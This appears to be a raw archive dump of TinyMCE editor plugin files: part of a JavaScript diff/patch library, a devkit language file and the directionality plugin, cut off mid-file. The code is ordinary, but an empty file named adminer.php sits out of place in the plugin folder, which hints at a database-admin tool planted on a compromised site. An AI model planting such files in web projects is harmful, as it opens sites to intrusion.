diff_lines2chars_munge(text) { // My first ever closure! var i, line; var chars = ''; while (text) { i = text.indexOf('\n'); if (i == -1) i = text.length; line = text.substring(0, i+1); text = text.substring(i+1); if (linehash.hasOwnProperty ? linehash.hasOwnProperty(line) : (linehash[line] !== undefined)) { chars += String.fromCharCode(linehash[line]); } else { linearray.push(line); linehash[line] = linearray.length - 1; chars += String.fromCharCode(linearray.length - 1); } } return chars; } var chars1 = diff_lines2chars_munge(text1); var chars2 = diff_lines2chars_munge(text2); return [chars1, chars2, linearray]; } function diff_chars2lines(diff, linearray) { // Rehydrate the text in a diff from a string of line hashes to real lines of text. var chars, text; for (var x=0; x<diff.length; x++) { chars = diff[x][1]; text = ''; for (var y=0; y<chars.length; y++) text += linearray[chars.charCodeAt(y)]; diff[x][1] = text; } } function diff_map(text1, text2) { // Explore the intersection points between the two texts. var now = new Date(); var ms_end = now.getTime() + DIFF_TIMEOUT * 1000; // Don't run for too long. var max = (text1.length + text2.length) / 2; var v_map1 = new Array(); var v_map2 = new Array(); var v1 = new Object(); var v2 = new Object(); v1[1] = 0; v2[1] = 0; var x, y; var footstep; // Used to track overlapping paths. var footsteps = new Object(); var done = false; var hasOwnProperty = !!(footsteps.hasOwnProperty); // If the total number of characters is odd, then the front path will collide with the reverse path. var front = (text1.length + text2.length) % 2; for (var d=0; d<max; d++) { now = new Date(); if (DIFF_TIMEOUT > 0 && now.getTime() > ms_end) // Timeout reached return null; // Walk the front path one step. v_map1[d] = new Object(); for (var k=-d; k<=d; k+=2) { if (k == -d || k != d && v1[k-1] < v1[k+1]) x = v1[k+1]; else x = v1[k-1]+1; y = x - k; footstep = x+","+y; if (front && (hasOwnProperty ? footsteps.hasOwnProperty(footstep) : (footsteps[footstep] !== undefined))) done = true; if (!front) footsteps[footstep] = d; while (!done && x < text1.length && y < text2.length && text1.charAt(x) == text2.charAt(y)) { x++; y++; footstep = x+","+y; if (front && (hasOwnProperty ? footsteps.hasOwnProperty(footstep) : (footsteps[footstep] !== undefined))) done = true; if (!front) footsteps[footstep] = d; } v1[k] = x; v_map1[d][x+","+y] = true; if (done) { // Front path ran over reverse path. v_map2 = v_map2.slice(0, footsteps[footstep]+1); var a = diff_path1(v_map1, text1.substring(0, x), text2.substring(0, y)); return a.concat(diff_path2(v_map2, text1.substring(x), text2.substring(y))); } } // Walk the reverse path one step. v_map2[d] = new Object(); for (var k=-d; k<=d; k+=2) { if (k == -d || k != d && v2[k-1] < v2[k+1]) x = v2[k+1]; else x = v2[k-1]+1; y = x - k; footstep = (text1.length-x)+","+(text2.length-y); if (!front && (hasOwnProperty ? footsteps.hasOwnProperty(footstep) : (footsteps[footstep] !== undefined))) done = true; if (front) footsteps[footstep] = d; while (!done && x < text1.length && y < text2.length && text1.charAt(text1.length-x-1) == text2.charAt(text2.length-y-1)) { x++; y++; footstep = (text1.length-x)+","+(text2.length-y); if (!front && (hasOwnProperty ? footsteps.hasOwnProperty(footstep) : (footsteps[footstep] !== undefined))) done = true; if (front) footsteps[footstep] = d; } v2[k] = x; v_map2[d][x+","+y] = true; if (done) { // Reverse path ran over front path. v_map1 = v_map1.slice(0, footsteps[footstep]+1); var a = diff_path1(v_map1, text1.substring(0, text1.length-x), text2.substring(0, text2.length-y)); return a.concat(diff_path2(v_map2, text1.substring(text1.length-x), text2.substring(text2.length-y))); } } } // Number of diffs equals number of characters, no commonality at all. return null; } function diff_path1(v_map, text1, text2) { // Work from the middle back to the start to determine the path. var path = []; var x = text1.length; var y = text2.length; var last_op = null; for (var d=v_map.length-2; d>=0; d--) { while(1) { if (v_map[d].hasOwnProperty ? v_map[d].hasOwnProperty((x-1)+","+y) : (v_map[d][(x-1)+","+y] !== undefined)) { x--; if (last_op === -1) path[0][1] = text1.charAt(x) + path[0][1]; else path.unshift([-1, text1.charAt(x)]); last_op = -1; break; } else if (v_map[d].hasOwnProperty ? v_map[d].hasOwnProperty(x+","+(y-1)) : (v_map[d][x+","+(y-1)] !== undefined)) { y--; if (last_op === 1) path[0][1] = text2.charAt(y) + path[0][1]; else path.unshift([1, text2.charAt(y)]); last_op = 1; break; } else { x--; y--; //if (text1.charAt(x) != text2.charAt(y)) // return alert("No diagonal. Can't happen. (diff_path1)"); if (last_op === 0) path[0][1] = text1.charAt(x) + path[0][1]; else path.unshift([0, text1.charAt(x)]); last_op = 0; } } } return path; } function diff_path2(v_map, text1, text2) { // Work from the middle back to the end to determine the path. var path = []; var x = text1.length; var y = text2.length; var last_op = null; for (var d=v_map.length-2; d>=0; d--) { while(1) { if (v_map[d].hasOwnProperty ? v_map[d].hasOwnProperty((x-1)+","+y) : (v_map[d][(x-1)+","+y] !== undefined)) { x--; if (last_op === -1) path[path.length-1][1] += text1.charAt(text1.length-x-1); else path.push([-1, text1.charAt(text1.length-x-1)]); last_op = -1; break; } else if (v_map[d].hasOwnProperty ? v_map[d].hasOwnProperty(x+","+(y-1)) : (v_map[d][x+","+(y-1)] !== undefined)) { y--; if (last_op === 1) path[path.length-1][1] += text2.charAt(text2.length-y-1); else path.push([1, text2.charAt(text2.length-y-1)]); last_op = 1; break; } else { x--; y--; //if (text1.charAt(text1.length-x-1) != text2.charAt(text2.length-y-1)) // return alert("No diagonal. Can't happen. (diff_path2)"); if (last_op === 0) path[path.length-1][1] += text1.charAt(text1.length-x-1); else path.push([0, text1.charAt(text1.length-x-1)]); last_op = 0; } } } return path; } function diff_prefix(text1, text2) { // Trim off common prefix var pointermin = 0; var pointermax = Math.min(text1.length, text2.length); var pointermid = pointermax; while(pointermin < pointermid) { if (text1.substring(0, pointermid) == text2.substring(0, pointermid)) pointermin = pointermid; else pointermax = pointermid; pointermid = Math.floor((pointermax - pointermin) / 2 + pointermin); } var commonprefix = text1.substring(0, pointermid); text1 = text1.substring(pointermid); text2 = text2.substring(pointermid); return [text1, text2, commonprefix]; } function diff_suffix(text1, text2) { // Trim off common suffix var pointermin = 0; var pointermax = Math.min(text1.length, text2.length); var pointermid = pointermax; while(pointermin < pointermid) { if (text1.substring(text1.length-pointermid) == text2.substring(text2.length-pointermid)) pointermin = pointermid; else pointermax = pointermid; pointermid = Math.floor((pointermax - pointermin) / 2 + pointermin); } var commonsuffix = text1.substring(text1.length-pointermid); text1 = text1.substring(0, text1.length-pointermid); text2 = text2.substring(0, text2.length-pointermid); return [text1, text2, commonsuffix]; } function diff_halfmatch(text1, text2) { // Do the two texts share a substring which is at least half the length of the longer text? var longtext = text1.length > text2.length ? text1 : text2; var shorttext = text1.length > text2.length ? text2 : text1; if (longtext.length < 10 || shorttext.length < 1) return null; // Pointless. function diff_halfmatch_i(longtext, shorttext, i) { // Start with a 1/4 length substring at position i as a seed. var seed = longtext.substring(i, i+Math.floor(longtext.length/4)); var j = -1; var best_common = ''; var best_longtext_a, best_longtext_b, best_shorttext_a, best_shorttext_b; while ((j = shorttext.indexOf(seed, j+1)) != -1) { var my_prefix = diff_prefix(longtext.substring(i), shorttext.substring(j)); var my_suffix = diff_suffix(longtext.substring(0, i), shorttext.substring(0, j)); if (best_common.length < (my_suffix[2] + my_prefix[2]).length) { best_common = my_suffix[2] + my_prefix[2]; best_longtext_a = my_suffix[0]; best_longtext_b = my_prefix[0]; best_shorttext_a = my_suffix[1]; best_shorttext_b = my_prefix[1]; } } if (best_common.length >= longtext.length/2) return [best_longtext_a, best_longtext_b, best_shorttext_a, best_shorttext_b, best_common]; else return null; } // First check if the second quarter is the seed for a half-match. var hm1 = diff_halfmatch_i(longtext, shorttext, Math.ceil(longtext.length/4)); // Check again based on the third quarter. var hm2 = diff_halfmatch_i(longtext, shorttext, Math.ceil(longtext.length/2)); var hm; if (!hm1 && !hm2) return null; else if (!hm2) hm = hm1; else if (!hm1) hm = hm2; else // Both matched. Select the longest. hm = hm1[4].length > hm2[4].length ? hm1 : hm2; // A half-match was found, sort out the return data. if (text1.length > text2.length) { var text1_a = hm[0]; var text1_b = hm[1]; var text2_a = hm[2]; var text2_b = hm[3]; } else { var text2_a = hm[0]; var text2_b = hm[1]; var text1_a = hm[2]; var text1_b = hm[3]; } var mid_common = hm[4]; return [text1_a, text1_b, text2_a, text2_b, mid_common]; } function diff_cleanup_semantic(diff) { // Reduce the number of edits by eliminating semantically trivial equalities. var changes = false; var equalities = []; // Stack of indices where equalities are found. var lastequality = null; // Always equal to equalities[equalities.length-1][1] var pointer = 0; // Index of current position. var length_changes1 = 0; // Number of characters that changed prior to the equality. var length_changes2 = 0; // Number of characters that changed after the equality. while (pointer < diff.length) { if (diff[pointer][0] == 0) { // equality found equalities.push(pointer); length_changes1 = length_changes2; length_changes2 = 0; lastequality = diff[pointer][1]; } else { // an insertion or deletion length_changes2 += diff[pointer][1].length; if (lastequality != null && (lastequality.length <= length_changes1) && (lastequality.length <= length_changes2)) { //alert("Splitting: '"+lastequality+"'"); diff.splice(equalities[equalities.length-1], 0, [-1, lastequality]); // Duplicate record diff[equalities[equalities.length-1]+1][0] = 1; // Change second copy to insert. equalities.pop(); // Throw away the equality we just deleted; equalities.pop(); // Throw away the previous equality; pointer = equalities.length ? equalities[equalities.length-1] : -1; length_changes1 = 0; // Reset the counters. length_changes2 = 0; lastequality = null; changes = true; } } pointer++; } if (changes) diff_cleanup_merge(diff); } function diff_cleanup_efficiency(diff) { // Reduce the number of edits by eliminating operationally trivial equalities. var changes = false; var equalities = []; // Stack of indices where equalities are found. var lastequality = ''; // Always equal to equalities[equalities.length-1][1] var pointer = 0; // Index of current position. var pre_ins = false; // Is there an insertion operation before the last equality. var pre_del = false; // Is there an deletion operation before the last equality. var post_ins = false; // Is there an insertion operation after the last equality. var post_del = false; // Is there an deletion operation after the last equality. while (pointer < diff.length) { if (diff[pointer][0] == 0) { // equality found if (diff[pointer][1].length < DIFF_EDIT_COST && (post_ins || post_del)) { // Candidate found. equalities.push(pointer); pre_ins = post_ins; pre_del = post_del; lastequality = diff[pointer][1]; } else { // Not a candidate, and can never become one. equalities = []; lastequality = ''; } post_ins = post_del = false; } else { // an insertion or deletion if (diff[pointer][0] == -1) post_del = true; else post_ins = true; // Five types to be split: // <ins>A</ins><del>B</del>XY<ins>C</ins><del>D</del> // <ins>A</ins>X<ins>C</ins><del>D</del> // <ins>A</ins><del>B</del>X<ins>C</ins> // <ins>A</del>X<ins>C</ins><del>D</del> // <ins>A</ins><del>B</del>X<del>C</del> if (lastequality && ((pre_ins && pre_del && post_ins && post_del) || ((lastequality.length < DIFF_EDIT_COST/2) && (pre_ins + pre_del + post_ins + post_del) == 3))) { //alert("Splitting: '"+lastequality+"'"); diff.splice(equalities[equalities.length-1], 0, [-1, lastequality]); // Duplicate record diff[equalities[equalities.length-1]+1][0] = 1; // Change second copy to insert. equalities.pop(); // Throw away the equality we just deleted; lastequality = ''; if (pre_ins && pre_del) { // No changes made which could affect previous entry, keep going. post_ins = post_del = true; equalities = []; } else { equalities.pop(); // Throw away the previous equality; pointer = equalities.length ? equalities[equalities.length-1] : -1; post_ins = post_del = false; } changes = true; } } pointer++; } if (changes) diff_cleanup_merge(diff); } function diff_cleanup_merge(diff) { // Reorder and merge like edit sections. Merge equalities. // Any edit section can move as long as it doesn't cross an equality. diff.push([0, '']); // Add a dummy entry at the end. var pointer = 0; var count_delete = 0; var count_insert = 0; var text_delete = ''; var text_insert = ''; var record_insert, record_delete; var my_xfix; while(pointer < diff.length) { if (diff[pointer][0] == 1) { count_insert++; text_insert += diff[pointer][1]; pointer++; } else if (diff[pointer][0] == -1) { count_delete++; text_delete += diff[pointer][1]; pointer++; } else { // Upon reaching an equality, check for prior redundancies. if (count_delete > 1 || count_insert > 1) { if (count_delete > 1 && count_insert > 1) { // Factor out any common prefixies. my_xfix = diff_prefix(text_insert, text_delete); if (my_xfix[2] != '') { if ((pointer - count_delete - count_insert) > 0 && diff[pointer - count_delete - count_insert - 1][0] == 0) { text_insert = my_xfix[0]; text_delete = my_xfix[1]; diff[pointer - count_delete - count_insert - 1][1] += my_xfix[2]; } } // Factor out any common suffixies. my_xfix = diff_suffix(text_insert, text_delete); if (my_xfix[2] != '') { text_insert = my_xfix[0]; text_delete = my_xfix[1]; diff[pointer][1] = my_xfix[2] + diff[pointer][1]; } } // Delete the offending records and add the merged ones. if (count_delete == 0) diff.splice(pointer - count_delete - count_insert, count_delete + count_insert, [1, text_insert]); else if (count_insert == 0) diff.splice(pointer - count_delete - count_insert, count_delete + count_insert, [-1, text_delete]); else diff.splice(pointer - count_delete - count_insert, count_delete + count_insert, [-1, text_delete], [1, text_insert]); pointer = pointer - count_delete - count_insert + (count_delete ? 1 : 0) + (count_insert ? 1 : 0) + 1; } else if (pointer != 0 && diff[pointer-1][0] == 0) { // Merge this equality with the previous one. diff[pointer-1][1] += diff[pointer][1]; diff.splice(pointer, 1); } else { pointer++; } count_insert = 0; count_delete = 0; text_delete = ''; text_insert = ''; } } if (diff[diff.length-1][1] == '') diff.pop(); // Remove the dummy entry at the end. } function diff_addindex(diff) { // Add an index to each tuple, represents where the tuple is located in text2. // e.g. [[-1, 'h', 0], [1, 'c', 0], [0, 'at', 1]] var i = 0; for (var x=0; x<diff.length; x++) { diff[x].push(i); if (diff[x][0] != -1) i += diff[x][1].length; } } function diff_xindex(diff, loc) { // loc is a location in text1, compute and return the equivalent location in text2. // e.g. "The cat" vs "The big cat", 1->1, 5->8 var chars1 = 0; var chars2 = 0; var last_chars1 = 0; var last_chars2 = 0; for (var x=0; x<diff.length; x++) { if (diff[x][0] != 1) // Equality or deletion. chars1 += diff[x][1].length; if (diff[x][0] != -1) // Equality or insertion. chars2 += diff[x][1].length; if (chars1 > loc) // Overshot the location. break; last_chars1 = chars1; last_chars2 = chars2; } if (diff.length != x && diff[x][0] == -1) // The location was deleted. return last_chars2; // Add the remaining character length. return last_chars2 + (loc - last_chars1); } function diff_prettyhtml(diff) { // Convert a diff array into a pretty HTML report. diff_addindex(diff); var html = ''; for (var x=0; x<diff.length; x++) { var m = diff[x][0]; // Mode (-1=delete, 0=copy, 1=add) var t = diff[x][1]; // Text of change. var i = diff[x][2]; // Index of change. t = t.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); t = t.replace(/\n/g, "¶<BR>"); if (m == -1) html += "<DEL STYLE='background:#FFE6E6;' TITLE='i="+i+"'>"+t+"</DEL>"; else if (m == 1) html += "<INS STYLE='background:#E6FFE6;' TITLE='i="+i+"'>"+t+"</INS>"; else html += "<SPAN TITLE='i="+i+"'>"+t+"</SPAN>"; } return html; } ////////////////////////////////////////////////////////////////////// // Match // ////////////////////////////////////////////////////////////////////// function match_getmaxbits() { // Compute the number of bits in an int. // The normal answer for JavaScript is 32. var maxbits = 0; var oldi = 1; var newi = 2; while (oldi != newi) { maxbits++; oldi = newi; newi = newi << 1; } return maxbits; } var MATCH_MAXBITS = match_getmaxbits(); function match_main(text, pattern, loc) { // Locate the best instance of 'pattern' in 'text' near 'loc'. loc = Math.max(0, Math.min(loc, text.length-pattern.length)); if (text == pattern) { // Shortcut (potentially not guaranteed by the algorithm) return 0; } else if (text.length == 0) { // Nothing to match. return null; } else if (text.substring(loc, loc + pattern.length) == pattern) { // Perfect match at the perfect spot! (Includes case of null pattern) return loc; } else { // Do a fuzzy compare. var match = match_bitap(text, pattern, loc); return match; } } function match_bitap(text, pattern, loc) { // Locate the best instance of 'pattern' in 'text' near 'loc' using the Bitap algorithm. if (pattern.length > MATCH_MAXBITS) return alert("Pattern too long for this browser."); // Initialise the alphabet. var s = match_alphabet(pattern); var score_text_length = text.length; // Coerce the text length between reasonable maximums and minimums. score_text_length = Math.max(score_text_length, MATCH_MINLENGTH); score_text_length = Math.min(score_text_length, MATCH_MAXLENGTH); function match_bitap_score (e, x) { // Compute and return the score for a match with e errors and x location. var d = Math.abs(loc-x); return (e / pattern.length / MATCH_BALANCE) + (d / score_text_length / (1.0 - MATCH_BALANCE)); } // Highest score beyond which we give up. var score_threshold = MATCH_THRESHOLD; // Is there a nearby exact match? (speedup) var best_loc = text.indexOf(pattern, loc); if (best_loc != -1) score_threshold = Math.min(match_bitap_score(0, best_loc), score_threshold); // What about in the other direction? (speedup) best_loc = text.lastIndexOf(pattern, loc+pattern.length); if (best_loc != -1) score_threshold = Math.min(match_bitap_score(0, best_loc), score_threshold); // Initialise the bit arrays. var r = Array(); var d = -1; var matchmask = Math.pow(2, pattern.length-1); best_loc = null; var bin_min, bin_mid; var bin_max = Math.max(loc+loc, text.length); var last_rd; for (var d=0; d<pattern.length; d++) { // Scan for the best match; each iteration allows for one more error. var rd = Array(text.length); // Run a binary search to determine how far from 'loc' we can stray at this error level. bin_min = loc; bin_mid = bin_max; while(bin_min < bin_mid) { if (match_bitap_score(d, bin_mid) < score_threshold) bin_min = bin_mid; else bin_max = bin_mid; bin_mid = Math.floor((bin_max - bin_min) / 2 + bin_min); } bin_max = bin_mid; // Use the result from this iteration as the maximum for the next. var start = Math.max(0, loc - (bin_mid - loc) - 1); var finish = Math.min(text.length-1, pattern.length + bin_mid); if (text.charAt(finish) == pattern.charAt(pattern.length-1)) rd[finish] = Math.pow(2, d+1)-1; else rd[finish] = Math.pow(2, d)-1; for (var j=finish-1; j>=start; j--) { // The alphabet (s) is a sparse hash, so the following lines generate warnings. if (d == 0) // First pass: exact match. rd[j] = ((rd[j+1] << 1) | 1) & s[text.charAt(j)]; else // Subsequent passes: fuzzy match. rd[j] = ((rd[j+1] << 1) | 1) & s[text.charAt(j)] | ((last_rd[j+1] << 1) | 1) | ((last_rd[j] << 1) | 1) | last_rd[j+1]; if (rd[j] & matchmask) { var score = match_bitap_score(d, j); // This match will almost certainly be better than any existing match. But check anyway. if (score <= score_threshold) { // Told you so. score_threshold = score; best_loc = j; if (j > loc) { // When passing loc, don't exceed our current distance from loc. start = Math.max(0, loc - (j - loc)); } else { // Already passed loc, downhill from here on in. break; } } } } if (match_bitap_score(d+1, loc) > score_threshold) // No hope for a (better) match at greater error levels. break; last_rd = rd; } return best_loc; } function match_alphabet(pattern) { // Initialise the alphabet for the Bitap algorithm. var s = Object(); for (var i=0; i<pattern.length; i++) s[pattern.charAt(i)] = 0; for (var i=0; i<pattern.length; i++) s[pattern.charAt(i)] |= Math.pow(2, pattern.length-i-1); return s; } ////////////////////////////////////////////////////////////////////// // Patch // ////////////////////////////////////////////////////////////////////// function patch_obj() { // Constructor for a patch object. this.diffs = []; this.start1 = null; this.start2 = null; this.length1 = 0; this.length2 = 0; this.toString = function() { // Emmulate GNU diff's format. // Header: @@ -382,8 +481,9 @@ // Indicies are printed as 1-based, not 0-based. var coords1, coords2; if (this.length1 == 0) coords1 = this.start1+",0"; else if (this.length1 == 1) coords1 = this.start1+1; else coords1 = (this.start1+1)+","+this.length1; if (this.length2 == 0) coords2 = this.start2+",0"; else if (this.length2 == 1) coords2 = this.start2+1; else coords2 = (this.start2+1)+","+this.length2; var txt = "@@ -"+coords1+" +"+coords2+" @@\n"; // Escape the body of the patch with %xx notation. for (var x=0; x<this.diffs.length; x++) txt += ("- +".charAt(this.diffs[x][0]+1)) + encodeURI(this.diffs[x][1]) + "\n"; return txt.replace(/%20/g, ' '); } this.text1 = function() { // Compute and return the source text (all equalities and deletions). var txt = ''; for (var x=0; x<this.diffs.length; x++) if (this.diffs[x][0] == 0 || this.diffs[x][0] == -1) txt += this.diffs[x][1]; return txt; } this.text2 = function() { // Compute and return the destination text (all equalities and insertions). var txt = ''; for (var x=0; x<this.diffs.length; x++) if (this.diffs[x][0] == 0 || this.diffs[x][0] == 1) txt += this.diffs[x][1]; return txt; } } function patch_addcontext(patch, text) { var pattern = text.substring(patch.start2, patch.start2+patch.length1); var padding = 0; // Increase the context until we're unique (but don't let the pattern expand beyond MATCH_MAXBITS). while (text.indexOf(pattern) != text.lastIndexOf(pattern) && pattern.length < MATCH_MAXBITS-PATCH_MARGIN-PATCH_MARGIN) { padding += PATCH_MARGIN; pattern = text.substring(patch.start2 - padding, patch.start2+patch.length1 + padding); } // Add one chunk for good luck. padding += PATCH_MARGIN; // Add the prefix. var prefix = text.substring(patch.start2 - padding, patch.start2); if (prefix != '') patch.diffs.unshift([0, prefix]); // Add the suffix var suffix = text.substring(patch.start2+patch.length1, patch.start2+patch.length1 + padding); if (suffix != '') patch.diffs.push([0, suffix]); // Roll back the start points. patch.start1 -= prefix.length; patch.start2 -= prefix.length; // Extend the lengths. patch.length1 += prefix.length + suffix.length; patch.length2 += prefix.length + suffix.length; } function patch_make(text1, text2, diff) { // Compute a list of patches to turn text1 into text2. // Use diff if provided, otherwise compute it ourselves. if (typeof diff == 'undefined') { diff = diff_main(text1, text2, true); if (diff.length > 2) { diff_cleanup_semantic(diff); diff_cleanup_efficiency(diff); } } if (diff.length == 0) return []; // Get rid of the null case. var patches = []; var patch = new patch_obj(); var char_count1 = 0; // Number of characters into the text1 string. var char_count2 = 0; // Number of characters into the text2 string. var last_type = null; var prepatch_text = text1; // Recreate the patches to determine context info. var postpatch_text = text1; for (var x=0; x<diff.length; x++) { var diff_type = diff[x][0]; var diff_text = diff[x][1]; if (patch.diffs.length == 0 && diff_type != 0) { // A new patch starts here. patch.start1 = char_count1; patch.start2 = char_count2; } if (diff_type == 1) { // Insertion patch.diffs.push(diff[x]); patch.length2 += diff_text.length; postpatch_text = postpatch_text.substring(0, char_count2) + diff_text + postpatch_text.substring(char_count2); } else if (diff_type == -1) { // Deletion. patch.length1 += diff_text.length; patch.diffs.push(diff[x]); postpatch_text = postpatch_text.substring(0, char_count2) + postpatch_text.substring(char_count2 + diff_text.length); } else if (diff_type == 0 && diff_text.length <= 2*PATCH_MARGIN && patch.diffs.length != 0 && diff.length != x+1) { // Small equality inside a patch. patch.diffs.push(diff[x]); patch.length1 += diff_text.length; patch.length2 += diff_text.length; } last_type = diff_type; if (diff_type == 0 && diff_text.length >= 2*PATCH_MARGIN) { // Time for a new patch. if (patch.diffs.length != 0) { patch_addcontext(patch, prepatch_text); patches.push(patch); var patch = new patch_obj(); last_type = null; prepatch_text = postpatch_text; } } // Update the current character count. if (diff_type != 1) char_count1 += diff_text.length; if (diff_type != -1) char_count2 += diff_text.length; } // Pick up the leftover patch if not empty. if (patch.diffs.length != 0) { patch_addcontext(patch, prepatch_text); patches.push(patch); } return patches; } function patch_apply(patches, text) { // Merge a set of patches onto the text. // Return a patched text, as well as a list of true/false values indicating which patches were applied. patch_splitmax(patches); var results = []; var delta = 0; var expected_loc, start_loc; var text1, text2; var diff, mod, index1, index2; for (var x=0; x<patches.length; x++) { expected_loc = patches[x].start2 + delta; text1 = patches[x].text1(); start_loc = match_main(text, text1, expected_loc); if (start_loc == null) { // No match found. :( results.push(false); } else { // Found a match. :) results.push(true); delta = start_loc - expected_loc; text2 = text.substring(start_loc, start_loc + text1.length); if (text1 == text2) { // Perfect match, just shove the replacement text in. text = text.substring(0, start_loc) + patches[x].text2() + text.substring(start_loc + text1.length); } else { // Imperfect match. Run a diff to get a framework of equivalent indicies. diff = diff_main(text1, text2, false); index1 = 0; for (var y=0; y<patches[x].diffs.length; y++) { mod = patches[x].diffs[y]; if (mod[0] != 0) index2 = diff_xindex(diff, index1); if (mod[0] == 1) // Insertion text = text.substring(0, start_loc + index2) + mod[1] + text.substring(start_loc + index2); else if (mod[0] == -1) // Deletion text = text.substring(0, start_loc + index2) + text.substring(start_loc + diff_xindex(diff, index1 + mod[1].length)); if (mod[0] != -1) index1 += mod[1].length; } } } } return [text, results]; } function patch_splitmax(patches) { // Look through the patches and break up any which are longer than the maximum limit of the match algorithm. var bigpatch, patch, patch_size, start1, start2, diff_type, diff_text, precontext, postcontext, empty; for (var x=0; x<patches.length; x++) { if (patches[x].length1 > MATCH_MAXBITS) { bigpatch = patches[x]; // Remove the big old patch. patches.splice(x, 1); patch_size = MATCH_MAXBITS; start1 = bigpatch.start1; start2 = bigpatch.start2; precontext = ''; while (bigpatch.diffs.length != 0) { // Create one of several smaller patches. patch = new patch_obj(); empty = true; patch.start1 = start1 - precontext.length; patch.start2 = start2 - precontext.length; if (precontext != '') { patch.length1 = patch.length2 = precontext.length; patch.diffs.push([0, precontext]); } while (bigpatch.diffs.length != 0 && patch.length1 < patch_size - PATCH_MARGIN) { diff_type = bigpatch.diffs[0][0]; diff_text = bigpatch.diffs[0][1]; if (diff_type == 1) { // Insertions are harmless. patch.length2 += diff_text.length; start2 += diff_text.length; patch.diffs.push(bigpatch.diffs.shift()); empty = false; } else { // Deletion or equality. Only take as much as we can stomach. diff_text = diff_text.substring(0, patch_size - patch.length1 - PATCH_MARGIN); patch.length1 += diff_text.length; start1 += diff_text.length; if (diff_type == 0) { patch.length2 += diff_text.length; start2 += diff_text.length; } else { empty = false; } patch.diffs.push([diff_type, diff_text]); if (diff_text == bigpatch.diffs[0][1]) bigpatch.diffs.shift(); else bigpatch.diffs[0][1] = bigpatch.diffs[0][1].substring(diff_text.length); } } // Compute the head context for the next patch. precontext = patch.text2(); precontext = precontext.substring(precontext.length - PATCH_MARGIN); // Append the end context for this patch. postcontext = bigpatch.text1().substring(0, PATCH_MARGIN); if (postcontext != '') { patch.length1 += postcontext.length; patch.length2 += postcontext.length; if (patch.diffs.length > 0 && patch.diffs[patch.diffs.length-1][0] == 0) patch.diffs[patch.diffs.length-1][1] += postcontext; else patch.diffs.push([0, postcontext]); } if (!empty) patches.splice(x++, 0, patch); } } } } function patch_totext(patches) { // Take a list of patches and return a textual representation. var text = ''; for (var x=0; x<patches.length; x++) text += patches[x]; return text; } function patch_fromtext(text) { // Take a textual representation of patches and return a list of patch objects. var patches = []; text = text.split('\n'); var patch, m, chars1, chars2, sign, line; while (text.length != 0) { m = text[0].match(/^@@ -(\d+),?(\d*) \+(\d+),?(\d*) @@$/); if (!m) return alert("Invalid patch string:\n"+text[0]); patch = new patch_obj(); patches.push(patch); patch.start1 = parseInt(m[1]); if (m[2] == '') { patch.start1--; patch.length1 = 1; } else if (m[2] == '0') { patch.length1 = 0; } else { patch.start1--; patch.length1 = parseInt(m[2]); } patch.start2 = parseInt(m[3]); if (m[4] == '') { patch.start2--; patch.length2 = 1; } else if (m[4] == '0') { patch.length2 = 0; } else { patch.start2--; patch.length2 = parseInt(m[4]); } text.shift(); while (text.length != 0) { sign = text[0].charAt(0); line = decodeURIComponent(text[0].substring(1)); if (sign == '-') { // Deletion. patch.diffs.push([-1, line]); } else if (sign == '+') { // Insertion. patch.diffs.push([1, line]); } else if (sign == ' ') { // Minor equality. patch.diffs.push([0, line]); } else if (sign == '@') { // Start of next patch. break; } else if (sign == '') { // Blank line? Whatever. } else { // WTF? return alert("Invalid patch mode: '"+sign+"'\n"+line); } text.shift(); } } return patches; } // EOF plugins/devkit/langs/en.js 0000666 00000001724 15155066653 0011603 0 ustar 00 // UK lang variables tinyMCE.addToLang('devkit',{ title : 'TinyMCE Development Kit', info_tab : 'Info', settings_tab : 'Settings', log_tab : 'Log', content_tab : 'Content', command_states_tab : 'Commands', undo_redo_tab : 'Undo/Redo', misc_tab : 'Misc', filter : 'Filter:', clear_log : 'Clear log', refresh : 'Refresh', info_help : 'Press Refresh to view info.', settings_help : 'Press Refresh to display the settings array for each TinyMCE_Control instance.', content_help : 'Press Refresh to display the raw and cleaned HTML content for each TinyMCE_Control instance.', command_states_help : 'Press Refresh to display the current command states from inst.queryCommandState. This list will also mark unsupported commands.', undo_redo_help : 'Press Refresh to display the global and instance undo/redo levels.', misc_help : 'Here are various tools for debugging and development purposes.', debug_events : 'Debug events', undo_diff : 'Diff undo levels' }); plugins/directionality/adminer.php 0000666 00000000000 15155066653 0013406 0 ustar 00 plugins/directionality/editor_plugin.js 0000666 00000002465 15155066653 0014501 0 ustar 00 (function(){tinymce.create("tinymce.plugins.Directionality",{init:function(a,b){var c=this;c.editor=a;a.addCommand("mceDirectionLTR",function(){var d=a.dom.getParent(a.selection.getNode(),a.dom.isBlock);if(d){if(a.dom.getAttrib(d,"dir")!="ltr"){a.dom.setAttrib(d,"dir","ltr")}else{a.dom.setAttrib(d,"dir","")}}a.nodeChanged()});a.addCommand("mceDirectionRTL",function(){var d=a.dom.getParent(a.selection.getNode(),a.dom.isBlock);if(d){if(a.dom.getAttrib(d,"dir")!="rtl"){a.dom.setAttrib(d,"dir","rtl")}else{a.dom.setAttrib(d,"dir","")}}a.nodeChanged()});a.addButton("ltr",{title:"directionality.ltr_desc",cmd:"mceDirectionLTR"});a.addButton("rtl",{title:"directionality.rtl_desc",cmd:"mceDirectionRTL"});a.onNodeChange.add(c._nodeChange,c)},getInfo:function(){return{longname:"Directionality",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/directionality",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_nodeChange:function(b,a,e){var d=b.dom,c;e=d.getParent(e,d.isBlock);if(!e){a.setDisabled("ltr",1);a.setDisabled("rtl",1);return}c=d.getAttrib(e,"dir");a.setActive("ltr",c=="ltr");a.setDisabled("ltr",0);a.setActive("rtl",c=="rtl");a.setDisabled("rtl",0)}});tinymce.PluginManager.add("directionality",tinymce.plugins.Directionality)})(); plugins/directionality/editor_plugin_src.js 0000666 00000004154 15155066653 0015345 0 ustar 00 /** * editor_plugin_src.js * * Copyright 2009, Moxiecode Systems AB * Released under LGPL License. * * License: http://tinymce.moxiecode.com/license * Contributing: http://tinymce.moxiecode.com/contributing */ (function() { tinymce.create('tinymce.plugins.Directionality', { init : function(ed, url) { var t = this; t.editor = ed; ed.addCommand('mceDirectionLTR', function() { var e = ed.dom.getParent(ed.selection.getNode(), ed.dom.isBlock); if (e) { if (ed.dom.getAttrib(e, "dir") != "ltr") ed.dom.setAttrib(e, "dir", "ltr"); else ed.dom.setAttrib(e, "dir", ""); } ed.nodeChanged(); }); ed.addCommand('mceDirectionRTL', function() { 